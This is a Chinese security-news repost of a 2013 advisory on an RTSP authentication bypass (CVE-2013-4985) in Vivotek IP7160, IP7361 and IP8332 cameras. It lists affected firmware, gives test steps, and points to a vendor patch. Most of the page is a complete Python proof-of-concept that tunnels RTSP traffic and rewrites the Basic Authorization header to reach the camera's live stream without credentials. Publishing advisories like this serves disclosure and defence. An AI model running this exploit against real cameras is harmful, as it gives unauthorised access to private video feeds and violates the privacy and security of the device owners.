首页 / 操作系统 / Linux / 多个Vivotek网络摄像机远程身份验证绕过漏洞(CVE-2013-4985)
发布日期:2013-11-05 更新日期:2013-11-10受影响系统: Vivotek Vivotek IP7160 IP Camera 0105b Vivotek Vivotek IP7160 IP Camera 0105a Vivotek Vivotek IP7361 IP Camera Vivotek Vivotek IP8332 IP Camera 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 63541 CVE(CAN) ID: CVE-2013-4985Vivotek IP Cameras是款网络摄像机产品。Vivotek IP7160 IP Camera(固件版本0105a)、Vivotek IP7160 IP Camera(固件版本0105b)、Vivotek IP7361 IP Camera (固件版本0105a)、Vivotek IP7361 IP Camera(固件版本0105b)、Vivotek IP8332 IP Camera(固件版本0105a)、Vivotek IP8332 IP Camera(固件版本0105b)受到远程身份验证绕过漏洞的影响,TCP端口554收到特制的RTSP报文时可触发此漏洞,攻击者可利用此漏洞绕过身份验证机制并获取设备的未授权访问权限。<*来源:Martin Di Paola
链接:http://www.coresecurity.com/advisories/vivotek-ip-cameras-rtsp-authentication-bypass *>测试方法: --------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Martin Di Paola ()提供了如下测试方法:Set the camera RTSP authentication to "basic". (Assuming that the camera is located in 192.168.1.1) Run poc.py with these parameters: python poc.py 9999 192.168.1.1 554 Open a VLC media player and go to: Media > Open Network Stream. Enter the following network URL: rtsp://localhost:9999/live.sdp. A dialog box will asks for user/password, just click "OK". You should see the RTSP live video stream; i.e., the RTSP basic authentication can by bypassed by a remote attacker. # # poc.py # # The contents of this software are copyright (c) 2013 CORE Security and (c) 2013 CoreLabs, # and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) # License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">http://creativecommons.org/licenses/by-nc-sa/3.0/us/</a> # # THIS SOFTWARE IS PROVIDED ``AS IS"" AND ANY EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF # THIS SOFTWARE. #import sys from socket import * from threading import Thread import timeLOGGING = 1def log(s): if LOGGING: print "(%s) %s" % (time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close() class UDPDispatcher(Thread): dispatchers = [] def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception("There is already a dispatcher for port %d" % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(("", self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove(self) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send(data) except Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log("[*] Redirecting: localhost:%s -> %s:%s" % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(("", src_port)) log("[*] Check live stream in <a href="rtsp://localhost:%d/live.sdp">rtsp://localhost:%d/live.sdp</a>" % src_port) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): self.address = address def get_describe_data(self): return "" class Vivotek(Camera): def __init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return "v=0
o=RTSP 836244 0 IN IP4 0.0.0.0
s=RTSP server
c=IN IP4 0.0.0.0
t=0 0
a=charset:Shift_JIS
a=range:npt=0-
a=control:*
a=etag:1234567890
m=video 0 RTP/AVP 96
b=AS:1200
a=rtpmap:96 MP4V-ES/30000
a=control:trackID=1
a=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800
m=audio 0 RTP/AVP 97
a=control:trackID=3
a=rtpmap:97 mpeg4-generic/16000/2
a=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;
" class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = "DESCRIBE rtsp://" UNAUTHORIZED_RESPONSE = "RTSP/1.0 401 Unauthorized" SERVER_PORT_ARGUMENTS = "server_port=" DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = "5556-5559" def __init__(self, local_port, camera): self.last_describe_req = "" self.camera = camera self.local_port = local_port def start(self): log("[!] Starting bypasser") TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start() def spoof_rtsp_conn(self, data): auth_string = "Authorization: Basic" if auth_string in data: data = data.split("
") new_data = [] for line in data: new_data.append(line if auth_string not in line else auth_string + " a") data = "
".join(new_data) return data if __name__ == "__main__": if len(sys.argv) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print "usage: python %s [local_port] [camera_ip] [camera_rtsp_port]" - See more at: http://www.coresecurity.com/advisories/vivotek-ip-cameras-rtsp-authentication-bypass#sthash.Jl6BPDEn.dpuf建议: -------------------------------------------------------------------------------- 厂商补丁:Vivotek ------- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.vivotek.com/ [1] http://www.vivotek.com/web/product/NetworkCameras.aspx [2] fae@ftp.vivotek.com/Firmware/IP8332/Beta/IP8332-VVTK-0301c.flash.pkg" target="_blank">ftp://fae:fae@ftp.vivotek.com/Firmware/IP8332/Beta/IP8332-VVTK-0301c.flash.pkgCisco WAAS Mobile远程代码执行漏洞(CVE-2013-5554)OpenSSH "sshd"进程远程内存破坏漏洞相关资讯 Vivotek IP Cameras 本文评论 查看全部评论 (0)